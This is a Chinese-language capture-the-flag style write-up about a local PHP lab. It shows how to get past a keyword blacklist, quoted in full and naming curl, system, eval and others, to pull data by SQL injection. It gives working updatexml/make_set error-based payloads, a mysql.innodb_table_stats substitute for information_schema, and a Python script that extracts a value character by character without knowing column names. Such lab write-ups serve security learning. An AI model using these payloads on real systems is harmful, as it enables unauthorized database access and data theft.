day1记一次无列名注入

记一次无列名注入

前言

• 环境:红日php代码审计
• 知识点:无列名注入，make_set绕过group_concat,绕过information
• 参考:官方wp

做题

师傅给了我们源码

我们通过审计可以发现对id参数有经过了stop_hack函数过滤还有个in_array函数过滤，显而易见通过in_array函数的过滤可以绕过，因为这里第三个参数没有开，默认的是弱比较，也就是说我们传入'1 and 1=2' 也可过，因为php会在弱比较时转化1，具体可以看师傅博客

$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|/*|../|./|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";

所以这里最主要的是要突破stop_hack函数，这里师傅给的wp是报错注入

因为union被过滤，我们不可以使用联合查询，考虑报错注入,但是报错注入要用到concat，concat被过滤了，我们可以使用make_set函数来实现绕过，当然还有其它payload,参考师傅博客

构造payload:

1 and updatexml(1,make_set(3,0x7e,(select flag from flag)),1)

但是师傅没有写明如何在过滤or的情况导致information无法使用该如何爆表名

我们可以通过mysql.innodb_table_stats 来代替information_schema.tables 实现爆表

构造payload:

4 and updatexml(1,make_set(3,0x7e,(select table_name from mysql.innodb_table_stats where database_name=database() limit 0,1)),1) 通过控制limit的第一个参数来爆出不同的表名

但是又要怎么爆列名进一步爆flag

这里就要通过无列名注入了，参考博客这里我把*从黑名单了删了，因为过滤了*我实在不知道怎么绕过

首先判定有几列，可以通过

1 and ((1)>(select * from flag)) 如果报错，说明不是一列

1 and ((1,1)>(select * from flag)) 如果不报错了，就说明是一列

直接上脚本

import requests
import sys
url='http://127.0.0.1/viewphp/day1/'
#sql="1 and mid(database(),{0},1)='{1}'"
#sql="1 and mid((select table_name from mysql.innodb_table_stats where database_name=database() limit 1,1),{0},1)='{1}'"
sql="1 and (('{0}')>(select * from flag limit 0,1))"

x=''
for i in range(1,50):
	print('guess:',str(i))
	for ch in range(32,129):
		if ch==128:
			sys.exit(0)
		flag=x+chr(ch) 
		sqli=sql.format(flag)
		params={"id":sqli}
		response=requests.get(url,params=params).text
#		print(response)
		
		if "name" in response:
			x+=chr(ch-1)
			print(x)	
			break


#table_name:users,flag

学到很多，in_array函数漏洞，还有make_set绕过concat,再就是mysql.innodb_table_stats绕过infromation,mid绕过substr,以及无列名注入